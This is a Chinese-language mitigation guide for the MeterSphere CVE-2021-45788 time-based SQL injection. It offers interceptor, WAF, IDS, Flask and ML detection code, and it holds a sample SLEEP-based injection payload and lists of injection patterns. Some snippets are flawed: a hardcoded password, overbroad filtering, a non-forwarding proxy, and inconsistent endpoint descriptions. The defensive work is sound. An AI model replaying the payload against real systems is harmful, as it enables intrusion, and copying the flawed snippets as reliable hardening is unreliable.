修复方案3:SQL注入检测和阻止


// SQL注入检测拦截器
@Component
public class SqlInjectionInterceptor implements HandlerInterceptor {
    
    private static final Pattern[] SQL_INJECTION_PATTERNS = {
        Pattern.compile("(?i)(select|insert|update|delete|drop|alter|create|truncate)"),
        Pattern.compile("(?i)(union\\s+select)"),
        Pattern.compile("(?i)(sleep\\s*\\(|benchmark\\s*\\()"),
        Pattern.compile("(?i)(case\\s+when)"),
        Pattern.compile("(?i)(information_schema|sys\\.)"),
        Pattern.compile("(?i)(--|#|/\\*|\\*/)"),
        Pattern.compile("(?i)(;|'|\"|\\\\|%)")
    };
    
    @Override
    public boolean preHandle(HttpServletRequest request, 
                           HttpServletResponse response, 
                           Object handler) throws Exception {
        
        // 检查查询参数
        Map<String, String[]> params = request.getParameterMap();
        
        for (Map.Entry<String, String[]> entry : params.entrySet()) {
            String paramName = entry.getKey();
            String[] values = entry.getValue();
            
            for (String value : values) {
                if (value != null && containsSqlInjection(value)) {
                    // 记录安全事件
                    logSecurityEvent(request, paramName, value);
                    
                    // 返回错误响应
                    response.setStatus(HttpStatus.BAD_REQUEST.value());
                    response.getWriter().write("Invalid request parameters");
                    return false;
                }
            }
        }
        
        return true;
    }
    
    private boolean containsSqlInjection(String input) {
        if (input == null) {
            return false;
        }
        
        for (Pattern pattern : SQL_INJECTION_PATTERNS) {
            if (pattern.matcher(input).find()) {
                return true;
            }
        }
        
        return false;
    }
    
    private void logSecurityEvent(HttpServletRequest request, String param, String value) {
        String ip = request.getRemoteAddr();
        String uri = request.getRequestURI();
        String userAgent = request.getHeader("User-Agent");
        
        log.warn("Potential SQL injection detected - IP: {}, URI: {}, Param: {}, Value: {}, UA: {}",
                ip, uri, param, value.substring(0, Math.min(value.length(), 100)), userAgent);
    }
}

// 在WebMvcConfig中注册拦截器
@Configuration
public class WebSecurityConfig implements WebMvcConfigurer {
    
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new SqlInjectionInterceptor())
                .addPathPatterns("/api/**")
                .excludePathPatterns("/api/public/**");
    }
}

修复方案4:数据库权限加固


-- 创建只读应用用户
CREATE USER 'metersphere_app'@'%' IDENTIFIED BY 'StrongPassword123!';
GRANT SELECT ON metersphere.* TO 'metersphere_app'@'%';

-- 撤销危险权限
REVOKE ALL PRIVILEGES ON *.* FROM 'metersphere_app'@'%';
REVOKE GRANT OPTION ON metersphere.* FROM 'metersphere_app'@'%';

-- 创建存储过程处理排序(可选)
DELIMITER //
CREATE PROCEDURE get_test_plans_safe(
    IN p_page INT,
    IN p_limit INT,
    IN p_order_column VARCHAR(50),
    IN p_order_direction VARCHAR(10)
)
BEGIN
    -- 验证列名
    SET @valid_column = NULL;
    
    CASE p_order_column
        WHEN 'create_time' THEN SET @valid_column = 'create_time';
        WHEN 'update_time' THEN SET @valid_column = 'update_time';
        WHEN 'name' THEN SET @valid_column = 'name';
        WHEN 'status' THEN SET @valid_column = 'status';
        WHEN 'creator' THEN SET @valid_column = 'creator';
        ELSE SET @valid_column = 'create_time';
    END CASE;
    
    -- 验证排序方向
    SET @valid_direction = IF(UPPER(p_order_direction) = 'DESC', 'DESC', 'ASC');
    
    -- 构建安全查询
    SET @sql = CONCAT(
        'SELECT * FROM test_plan ',
        'ORDER BY ', @valid_column, ' ', @valid_direction, ' ',
        'LIMIT ?, ?'
    );
    
    PREPARE stmt FROM @sql;
    SET @offset = (p_page - 1) * p_limit;
    EXECUTE stmt USING @offset, p_limit;
    DEALLOCATE PREPARE stmt;
END //
DELIMITER ;

-- 授予存储过程执行权限
GRANT EXECUTE ON PROCEDURE metersphere.get_test_plans_safe TO 'metersphere_app'@'%';

基于此漏洞的检测与防护规则

针对该漏洞,检测规则应聚焦于 orders 参数中的 SQL 逻辑关键字。

  • WAF 特征匹配
    • 关键字:CASE WHEN, SLEEP, BENCHMARK, WAITFOR DELAY
    • 符号特征:在 JSON 的 name 字段值中发现 ()

WAF规则示例

# Nginx配置SQL注入防护
http {
    # 定义SQL注入检测map
    map $args $block_sqli {
        default 0;
        "~*orders.*select" 1;
        "~*orders.*sleep" 1;
        "~*orders.*case.*when" 1;
        "~*orders.*benchmark" 1;
        "~*orders.*union" 1;
    }
    
    server {
        listen 8081;
        server_name metersphere.local;
        
        location /api/ {
            # 检查SQL注入
            if ($block_sqli = 1) {
                return 403 "Invalid request";
                access_log /var/log/nginx/sqli_blocked.log;
            }
            
            # 限制请求体大小
            client_max_body_size 1m;
            
            # 启用速率限制
            limit_req zone=api_limit burst=20 nodelay;
            
            proxy_pass http://backend:8080;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
    
    # 定义限流zone
    limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
}

IDS/IPS规则

# Suricata规则
alert tcp $EXTERNAL_NET any -> $HOME_NET 8081 ( \
    msg:"METERSPHERE SQL Time-Based Blind Injection Attempt"; \
    flow:to_server,established; \
    content:"GET"; http_method; \
    content:"/api/test-plan/list"; http_uri; \
    content:"orders="; http_uri; \
    pcre:"/orders=[^&]*(case\s+when|sleep\s*\(|benchmark\s*\()/i"; \
    classtype:web-application-attack; \
    sid:2024008; \
    rev:2;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 8081 ( \
    msg:"METERSPHERE Information Schema Enumeration"; \
    flow:to_server,established; \
    content:"GET"; http_method; \
    content:"orders="; http_uri; \
    pcre:"/orders=[^&]*information_schema/i"; \
    classtype:attempted-recon; \
    sid:2024009; \
    rev:1;)

应用层监控脚本

# MeterSphere安全监控
import re
from datetime import datetime, timedelta
import hashlib

class MeterSphereSecurityMonitor:
    
    def __init__(self):
        self.sqli_patterns = [
            re.compile(r'(?i)case\s+when.*then.*sleep', re.IGNORECASE),
            re.compile(r'(?i)sleep\s*\(\s*\d+\s*\)', re.IGNORECASE),
            re.compile(r'(?i)benchmark\s*\(.*,.*\)', re.IGNORECASE),
            re.compile(r'(?i)information_schema', re.IGNORECASE),
            re.compile(r'(?i)union.*select', re.IGNORECASE),
        ]
        
        self.request_history = {}
        self.alert_threshold = 5  # 每分钟5次可疑请求
    
    def analyze_request(self, request):
        """分析HTTP请求是否包含SQL注入尝试"""
        alerts = []
        
        # 检查URL参数
        if 'orders' in request.get('query', {}):
            orders_value = request['query']['orders']
            
            # 检查SQL注入模式
            for pattern in self.sqli_patterns:
                if pattern.search(orders_value):
                    alert = {
                        'timestamp': datetime.now().isoformat(),
                        'type': 'sql_injection_attempt',
                        'pattern': pattern.pattern,
                        'parameter': 'orders',
                        'value': orders_value[:200],
                        'ip': request.get('ip'),
                        'path': request.get('path')
                    }
                    alerts.append(alert)
        
        # 检查速率限制
        client_ip = request.get('ip')
        if client_ip:
            current_time = datetime.now()
            minute_key = current_time.strftime('%Y-%m-%d %H:%M')
            key = f"{client_ip}:{minute_key}"
            
            self.request_history.setdefault(key, 0)
            self.request_history[key] += 1
            
            if self.request_history[key] > self.alert_threshold:
                alert = {
                    'timestamp': current_time.isoformat(),
                    'type': 'rate_limit_exceeded',
                    'ip': client_ip,
                    'count': self.request_history[key],
                    'path': request.get('path')
                }
                alerts.append(alert)
        
        return alerts
    
    def monitor_log_file(self, log_file_path):
        """监控日志文件"""
        alerts = []
        
        try:
            with open(log_file_path, 'r') as f:
                for line in f:
                    # 解析日志行(假设为JSON格式)
                    import json
                    try:
                        log_entry = json.loads(line)
                        
                        if log_entry.get('path', '').startswith('/api/'):
                            request_alerts = self.analyze_request(log_entry)
                            alerts.extend(request_alerts)
                    except json.JSONDecodeError:
                        # 非JSON格式,使用正则解析
                        pass
        except FileNotFoundError:
            print(f"日志文件不存在: {log_file_path}")
        
        return alerts

# 使用示例
monitor = MeterSphereSecurityMonitor()

# 模拟请求分析
sample_request = {
    'ip': '192.168.1.100',
    'path': '/api/test-plan/list',
    'query': {
        'page': '1',
        'limit': '10',
        'orders': 'create_time DESC, (CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)'
    }
}

alerts = monitor.analyze_request(sample_request)
for alert in alerts:
    print(f"安全警报: {alert}")

应急响应流程

阻断攻击源IP-->审查应用访问日志-->识别payload特征-->评估数据泄露-->是否有后门和数据篡改-->恢复数据备份-->加强监控与数据补丁

基于 Flask 的实时检测与防护(应用层)

部署一个 Flask 应用作为反向代理/API 网关,对所有进入 Metersphere 的请求进行预处理,拦截恶意请求。 1.1 Flask 中间件:检测 orders 参数中的注入特征

# metersphere_proxy.py
import re
import json
from flask import Flask, request, abort, jsonify
import time

app = Flask(__name__)

# 敏感路径
SENSITIVE_PATHS = ['/test/case/list/']

# 检测 SQL 注入特征的正则(针对 time-based 注入)
SQLI_PATTERNS = [
    re.compile(r'if\s*\(', re.I),
    re.compile(r'sleep\s*\(', re.I),
    re.compile(r'benchmark\s*\(', re.I),
    re.compile(r'waitfor\s+delay', re.I),
    re.compile(r'select\s+.*\s+from', re.I),
    re.compile(r'union\s+select', re.I),
]

def check_orders_for_injection(orders_data):
    """检查 orders 数组中的每个元素的 type 字段"""
    if not isinstance(orders_data, list):
        return False
    for item in orders_data:
        if isinstance(item, dict) and 'type' in item:
            type_value = item['type']
            if isinstance(type_value, str):
                # 检测逗号前缀 + 恶意语句
                if type_value.startswith(','):
                    for pattern in SQLI_PATTERNS:
                        if pattern.search(type_value):
                            return True
    return False

# 简单的会话验证(模拟,实际应验证 Metersphere 的 token 或 cookie)
def is_authenticated():
    # Metersphere 使用 MS_SESSION_ID cookie 或 Authorization 头
    session_cookie = request.cookies.get('MS_SESSION_ID')
    auth_header = request.headers.get('Authorization')
    return bool(session_cookie or auth_header)

# 速率限制(内存实现)
request_records = {}

def rate_limit(ip, limit=30, window=60):
    now = time.time()
    if ip not in request_records:
        request_records[ip] = []
    request_records[ip] = [t for t in request_records[ip] if now - t < window]
    if len(request_records[ip]) >= limit:
        return True
    request_records[ip].append(now)
    return False

@app.before_request
def before_request():
    # 1. 检查路径是否敏感
    if not any(request.path.startswith(p) for p in SENSITIVE_PATHS):
        return

    # 2. 尝试解析请求体(JSON)
    if request.is_json:
        data = request.get_json()
        # 检查 orders 字段
        if 'orders' in data:
            if check_orders_for_injection(data['orders']):
                log_attack(request, 'sqli_in_orders')
                abort(403, description='Malicious SQL injection detected')

    # 3. 对未认证请求进行速率限制(防止扫描)
    if not is_authenticated():
        if rate_limit(request.remote_addr):
            abort(429, description='Too many requests')
        else:
            # 可以放行,但建议对敏感接口强制认证
            pass

@app.errorhandler(403)
def forbidden(e):
    return jsonify(error='Forbidden'), 403

@app.errorhandler(429)
def too_many(e):
    return jsonify(error='Too many requests'), 429

def log_attack(request, attack_type):
    with open('metersphere_attack.log', 'a') as f:
        f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type}\n")

# 转发请求到后端 Metersphere
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
    # 实际应转发到 Metersphere 服务器(如 http://localhost:8081)
    return f"Proxied to {path}"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

1.2 日志监控脚本 实时分析 Metersphere 访问日志,发现包含 SQL 注入特征的请求。

# monitor_logs.py
import re
import sys
import json

LOG_PATTERN = re.compile(
    r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?"(?P<method>\w+) (?P<path>[^"]+)" (?P<status>\d+)'
)

SQLI_PATTERNS = [
    re.compile(r'if\s*\(.*sleep', re.I),
    re.compile(r'sleep\s*\(', re.I),
    re.compile(r'benchmark\s*\(', re.I),
]

def analyze_log(logfile):
    with open(logfile, 'r') as f:
        for line in f:
            match = LOG_PATTERN.search(line)
            if not match:
                continue
            path = match.group('path')
            ip = match.group('ip')
            # 简单判断是否包含关键参数(需根据实际日志格式增强)
            if '/test/case/list/' in path:
                # 可以进一步解析 POST 数据(需日志记录请求体)
                print(f"[*] 敏感路径访问:IP {ip} 访问 {path}")

基于 TensorFlow 的异常行为检测 利用机器学习模型识别针对 Metersphere 的异常访问模式,特别是对 /test/case/list 接口的异常请求。 2.1 特征工程 从每个请求中提取特征,构建数据集。特征包括:

  • path_length: 请求路径长度
  • is_sensitive: 是否访问敏感路径(0/1)
  • has_orders: 请求体中是否包含 orders 字段(0/1)
  • orders_type_count: orders 数组中 type 字段的数量
  • max_type_length: 最长的 type 字段长度
  • has_comma_prefix: 是否有 type 以逗号开头(0/1)
  • has_sql_keyword: 是否包含 SQL 关键字(如 if, sleep
  • method: 请求方法(GET=1, POST=2)
  • body_length: 请求体长度
  • hour: 请求小时
  • ip_reputation: IP 信誉分(外部API或黑名单)
  • user_agent_length: User-Agent 长度
  • is_known_ua: 是否常见浏览器 UA
  • request_freq_10min: 该IP最近10分钟请求数
  • is_authenticated: 是否已认证(0/1)
def extract_features(request_entry, history):
    features = [
        len(request_entry['path']),
        1 if request_entry['is_sensitive'] else 0,
        request_entry.get('has_orders', 0),
        request_entry.get('orders_type_count', 0),
        request_entry.get('max_type_length', 0),
        request_entry.get('has_comma_prefix', 0),
        request_entry.get('has_sql_keyword', 0),
        {'GET':1, 'POST':2}.get(request_entry['method'], 0),
        request_entry.get('body_length', 0),
        request_entry['timestamp'].hour,
        ip_reputation(request_entry['ip']),
        len(request_entry['user_agent']),
        1 if 'Mozilla' in request_entry['user_agent'] else 0,
        history['freq_10min'],
        int(request_entry['is_auth'])
    ]
    return features

2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建二分类模型。

import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split

# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

model = models.Sequential([
    layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
    layers.Dropout(0.3),
    layers.Dense(32, activation='relu'),
    layers.Dropout(0.3),
    layers.Dense(16, activation='relu'),
    layers.Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam',
              loss='binary_crossentropy',
              metrics=['accuracy'])

model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)

# 保存模型
model.save('metersphere_anomaly_model.h5')

2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。

from tensorflow.keras.models import load_model
import numpy as np
from datetime import datetime

model = load_model('metersphere_anomaly_model.h5')
THRESHOLD = 0.8

def get_ip_history(ip):
    # 从缓存获取历史统计(如Redis)
    return {'freq_10min': 0}

def ip_reputation(ip):
    return 0

@app.before_request
def before_request():
    # ... 之前的基础检测 ...
    
    # 对敏感路径进行机器学习异常检测
    if request.path.startswith('/test/case/list/'):
        # 构建 request_entry
        request_entry = {
            'ip': request.remote_addr,
            'path': request.path,
            'method': request.method,
            'is_sensitive': True,
            'user_agent': request.headers.get('User-Agent', ''),
            'is_auth': is_authenticated(),
            'timestamp': datetime.now(),
            'body_length': len(request.get_data()),
        }
        if request.is_json:
            data = request.get_json()
            if 'orders' in data:
                request_entry['has_orders'] = 1
                orders = data['orders']
                request_entry['orders_type_count'] = sum(1 for item in orders if isinstance(item, dict) and 'type' in item)
                max_len = 0
                has_comma = 0
                has_keyword = 0
                for item in orders:
                    if isinstance(item, dict) and 'type' in item:
                        t = item['type']
                        if isinstance(t, str):
                            max_len = max(max_len, len(t))
                            if t.startswith(','):
                                has_comma = 1
                            for pattern in [r'if\s*\(', r'sleep\s*\(', r'benchmark']:
                                if re.search(pattern, t, re.I):
                                    has_keyword = 1
                                    break
                request_entry['max_type_length'] = max_len
                request_entry['has_comma_prefix'] = has_comma
                request_entry['has_sql_keyword'] = has_keyword
        history = get_ip_history(request.remote_addr)
        if predict_anomaly(request_entry, history):
            log_attack(request, 'ml_anomaly')
            abort(403, description='Suspicious behavior detected')

def predict_anomaly(request_entry, history):
    features = extract_features(request_entry, history)
    prob = model.predict(np.array([features]))[0][0]
    return prob > THRESHOLD

基于 ModSecurity 的 WAF 规则

在 Apache/NGINX 中部署 ModSecurity,拦截对 Metersphere 的 SQL 注入尝试。 3.1 基础规则

# modsecurity_crs_72_metersphere_cve_2021_45788.conf

# 规则1:检测 POST 请求体中的 orders 参数是否包含 SQL 注入特征
SecRule REQUEST_BODY "@rx \"type\"\s*:\s*\"[^\"]*if\s*\([^\"]*sleep\s*\([^\"]*" \
    "id:1009001,\
    phase:2,\
    t:none,\
    deny,\
    status:403,\
    msg:'Metersphere CVE-2021-45788 - Time-based SQL injection',\
    logdata:'Matched payload: %{MATCHED_VAR}',\
    tag:'attack-sqli',\
    tag:'cve-2021-45788',\
    severity:'CRITICAL'"

# 规则2:检测 type 字段以逗号开头且包含 SQL 函数
SecRule REQUEST_BODY "@rx \"type\"\s*:\s*\",\s*(?i)(if|sleep|benchmark|waitfor)" \
    "id:1009002,\
    phase:2,\
    t:none,\
    deny,\
    status:403,\
    msg:'Metersphere CVE-2021-45788 - SQL injection with comma prefix',\
    tag:'attack-sqli',\
    severity:'CRITICAL'"

# 规则3:对敏感接口进行速率限制
SecRule REQUEST_URI "@beginsWith /test/case/list/" \
    "id:1009003,\
    phase:1,\
    t:none,\
    ver:'OWASP_CRS/4.0',\
    block,\
    msg:'Metersphere case list rate limiting',\
    setvar:'tx.metersphere_case_counter_%{REMOTE_ADDR}=+1',\
    expirevar:'tx.metersphere_case_counter_%{REMOTE_ADDR}=60'"
SecRule TX:metersphere_case_counter_%{REMOTE_ADDR} "@gt 20" \
    "id:1009004,\
    phase:1,\
    block,\
    msg:'Too many requests to case list',\
    severity:'WARNING'"

3.2 部署示例(NGINX)

server {
    listen 80;
    server_name metersphere.example.com;

    ModSecurityEnabled on;
    ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;

    location / {
        proxy_pass http://metersphere-backend:8081;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

总结:CVE-2021-45788 是 Metersphere 中的时间盲注漏洞,攻击者可通过 orders 参数注入恶意 SQL。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用 Metersphere 的用户立即采取行动。